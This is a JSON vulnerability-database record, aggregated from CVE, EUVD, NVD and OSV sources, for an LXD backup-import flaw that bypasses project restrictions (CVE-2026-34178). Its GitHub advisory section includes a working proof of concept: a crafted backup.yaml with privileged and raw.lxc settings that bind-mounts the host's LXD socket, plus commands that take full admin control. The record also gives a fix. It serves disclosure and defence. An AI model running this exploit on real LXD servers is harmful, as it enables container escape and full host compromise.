{"id":"GO-2026-5576","revision":null,"records":[{"revision":"28fd0c330a034cfb862f57fc2962f5d7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34178","aliases":[],"title":"Importing a crafted backup leads to project restriction bypass","description":"In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise.","state":0,"publishedAt":"2026-04-09T09:18:58.404+00:00","modifiedAt":"2026-04-09T11:55:20.431+00:00","affected":[{"ecosystem":"https://github.com/canonical","name":"lxd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Canonical\",\n                    \"product\": \"lxd\",\n                    \"platforms\": [\n                        \"Linux\"\n                    ],\n                    \"collectionURL\": \"https://github.com/canonical\",\n                    \"packageName\": \"lxd\",\n                    \"repo\": \"https://github.com/canonical/lxd\",\n                    \"programFiles\": [\n                        \"permissions.go\"\n                    ],\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"4.12.0\",\n                            \"lessThan\": \"5.0.7\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"5.1.0\",\n                            \"lessThan\": \"5.21.5\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"6.0.0\",\n                            \"lessThan\": \"6.8.0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4","https://github.com/canonical/lxd/pull/17921"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34178","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34178","identifiers":["CVE-2026-34178"]},"retained":false,"historicalAffected":[]},{"revision":"ad9d954619f94666803745625a14dec3","observedAt":"2026-11-01T06:05:40.502+00:00","statement":{"source":"euvd","id":"EUVD-2026-20874","aliases":["CVE-2026-34178","GHSA-q96j-3fmm-7fv4"],"title":"In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is…","description":"In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"severity":null}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4","https://github.com/canonical/lxd/pull/17921"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-20874","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 9, 2026, 9:18:58 AM","dateUpdated":"Apr 9, 2026, 11:55:20 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-20874","identifiers":["EUVD-2026-20874","CVE-2026-34178","GHSA-q96j-3fmm-7fv4"]},"retained":false,"historicalAffected":[]},{"revision":"f1a7027f75fa4c2da7fa4c20577e354c","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-34178","aliases":[],"title":"In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is…","description":"In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise.","state":0,"publishedAt":"2026-04-09T10:16:21.82+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security@ubuntu.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/pull/17921","https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34178","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20"],"productCriteria":["cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-09T10:16:21.820","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34178","identifiers":["CVE-2026-34178"]},"retained":false,"historicalAffected":[]},{"revision":"8591e4bc50eb44e0bd71e14903a4a0b8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-q96j-3fmm-7fv4","aliases":["CVE-2026-34178","GO-2026-5576"],"title":"LXD: Importing a crafted backup leads to project restriction bypass","description":"## Summary\n\nLXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement.\n\n## Details\n\nLXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.\n\nThe backup import path has two distinct configuration sources within a single tar archive:\n\n1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions.\n2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`.\n\nThe vulnerability exists because:\n\n1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`.\n\n2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`.\n\n3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`.\n\n4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record.\n\n5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance.\n\n\n## Proof of Concept\n\n### Environment setup (server admin)\n\nThese steps are performed by the LXD server administrator to set up the\nrestricted project and grant access to the user. This represents the normal\nmulti-tenant configuration that the exploit targets.\n\n```bash\n# Create a restricted project\nlxc project create restricted-project \\\n  -c features.images=false \\\n  -c features.profiles=true \\\n  -c restricted=true\n\n# Create a default profile with a root disk in the restricted project\nlxc profile device add default root disk \\\n  path=/ pool=default --project restricted-project\n\n# Create a group with instance management permissions in the restricted project\nlxc auth group create poc-group\nlxc auth group permission add poc-group project restricted-project can_view\nlxc auth group permission add poc-group project restricted-project can_create_instances\nlxc auth group permission add poc-group project restricted-project can_view_instances\nlxc auth group permission add poc-group project restricted-project can_operate_instances\n\n# Create a TLS identity for the attacker, scoped to the group\nlxc auth identity create tls/poc-attacker --group poc-group\n\n# The attacker uses it to add the remote:\n# lxc remote add target-lxd <token>\n```\n\nAfter this setup, the attacker can create normal unprivileged instances in\n`restricted-project` but should not be able to create privileged containers,\nuse `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses\nall of these restrictions.\n\n### Steps\n\n**1. Create an instance backup archive locally**\n\nThe attacker constructs the entire backup archive locally. No access to any\nLXD server is needed for this step. \n\n```shell\n# Create the backup directory structure\nmkdir -p backup/container\n\n# Build a minimal rootfs with an init system using debootstrap\nsudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/\n\n# Create backup index.yaml\ncat >backup/index.yaml <<EOF\nversion: 2\nname: escalated-instance\nbackend: dir\npool: default\ntype: container\noptimized: false\nconfig:\n  instance:\n    name: escalated-instance\n    architecture: x86_64\n    type: container\n    config: {}\n    devices: {}\n    expanded_config: {}\n    expanded_devices:\n      root:\n        path: /\n        pool: default\n        type: disk\n    profiles:\n      - default\n    stateful: false\n  pools:\n    - name: default\n      driver: dir\n  volumes:\n    - name: escalated-instance\n      type: container\n      pool: default\n      content_type: filesystem\n      config:\n        volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Create malicious `backup/container/backup.yaml`\n# This is the file LXD actually uses to create the instance. It contains the\n# restricted config and devices that should be blocked by the project. LXD\n# never compares this file against `index.yaml` or re-validates it against\n# project restrictions.\n\ncat > backup/container/backup.yaml <<EOF\ninstance:\n  name: escalated-instance\n  architecture: x86_64\n  type: container\n  config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  devices: {}\n  expanded_config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  profiles:\n    - default\n  stateful: false\npools:\n  - name: default\n    driver: dir\nvolumes:\n  - name: escalated-instance\n    type: container\n    pool: default\n    content_type: filesystem\n    config:\n      volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Package the archive\ntar -cf malicious-backup.tar backup/\n```\n\n**2. Connect to the target LXD server and import the backup**\n\nConnect to the target LXD server and confirm restricted access:\n\n```bash\n# Add the target server as a remote\nlxc remote add target-lxd <token>\n\n# Confirm the attacker's restricted access (command returns restricted=true)\nlxc project show target-lxd:restricted-project\n\n# Confirm the attacker can't launch a privileged container (command should fail)\nlxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true\n\n# Import malicious backup\nlxc import target-lxd: malicious-backup.tar --project restricted-project\n\n# Verify the restricted config was accepted into the restricted project\nlxc config show target-lxd:escalated-instance --project restricted-project\n\n# Output contains:\n# security.privileged: \"true\"\n```\n\n**3. Escalate to full LXD admin**\n\nStart the container and use the LXD Unix socket, which was bind-mounted\nfrom the host via `raw.lxc`. Local connections over the Unix socket are\ntrusted as full admin with unrestricted access across all projects.\n\n```bash\nlxc start target-lxd:escalated-instance --project restricted-project\n\n# Query the LXD API via the bind-mounted Unix socket (full admin access)\nlxc exec target-lxd:escalated-instance --project restricted-project -- \\\n  curl -s --unix-socket /unix.socket http://localhost/1.0/projects\n\n# From here the attacker has full control: create admin certs, access\n# all projects, modify any instance, or mount the host filesystem.\n```\n\n## Impact\n\nThe exploit allows full host compromise from within a restricted project.\nThe requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances.\n\n## Possible remediation\n\nAdd a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946):\n\n```go\n// After parsing backup.yaml, re-validate project restrictions\n// against the config that will actually be used for instance creation\nerr = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {\n    req := api.InstancesPost{\n        InstancePut: api.InstancePut{\n            Config:  backupConf.Instance.Config,\n            Devices: backupConf.Instance.Devices,\n        },\n        Type: api.InstanceType(backupConf.Instance.Type),\n    }\n\n    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)\n})\nif err != nil {\n    return fmt.Errorf(\"Backup config violates project restrictions: %w\", err)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |","state":0,"publishedAt":"2026-04-10T19:20:55+00:00","modifiedAt":"2026-08-11T23:55:51.4173329+00:00","affected":[{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-20210305023314-538ac3df036e"},{"kind":"last_affected","version":"0.0.0-20260226085519-736f34afb267"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4","https://nvd.nist.gov/vuln/detail/CVE-2026-34178","https://github.com/canonical/lxd/pull/17921","https://github.com/canonical/lxd"],"sourceUrl":"https://github.com/advisories/GHSA-q96j-3fmm-7fv4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-q96j-3fmm-7fv4","identifiers":["GHSA-q96j-3fmm-7fv4","CVE-2026-34178","GO-2026-5576"]},"retained":false,"historicalAffected":[]},{"revision":"7e7763c849be40c2bdc7334afbde0ebd","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5576","aliases":["CVE-2026-34178","GHSA-q96j-3fmm-7fv4"],"title":"LXD: Importing a crafted backup leads to project restriction bypass in github.com/canonical/lxd","description":"LXD: Importing a crafted backup leads to project restriction bypass in github.com/canonical/lxd","state":0,"publishedAt":"2026-08-11T23:21:27+00:00","modifiedAt":"2026-08-11T23:45:11.0133252+00:00","affected":[{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-20210305023314-538ac3df036e"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4","https://github.com/canonical/lxd/pull/17921"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5576","license":"OSV · upstream source license applies","key":"osv:GO-2026-5576","identifiers":["GO-2026-5576","CVE-2026-34178","GHSA-q96j-3fmm-7fv4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5916126+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5916133+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d5c3ebbfb28a03509d20973fbb2330bc7b9e252e9828be2e66ae9aea69b49ce1","complete":true,"records":417669,"lastAttemptAt":"2026-11-01T18:57:22.5530729+00:00","lastSuccessAt":"2026-11-01T18:57:22.2751752+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.5530729+00:00","snapshotPublishedAt":"2026-11-01T18:27:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-35b3277f93af45a38903f87f33008ff6","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T18:09:13.7653963+00:00","lastSuccessAt":"2026-11-01T18:09:13.759+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:09:13.759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5924164+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5924166+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7045ba394160400f8f8ae145a6052ae9","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T17:57:28.2948021+00:00","lastSuccessAt":"2026-11-01T17:57:28.288+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:28.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T17:57:21.3611317+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3611317+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T18:57:22.7482139+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.7482139+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T17:57:21.3756349+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3756349+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T18:57:28.78235+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.1761784+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":true,"stagedRecords":230997,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}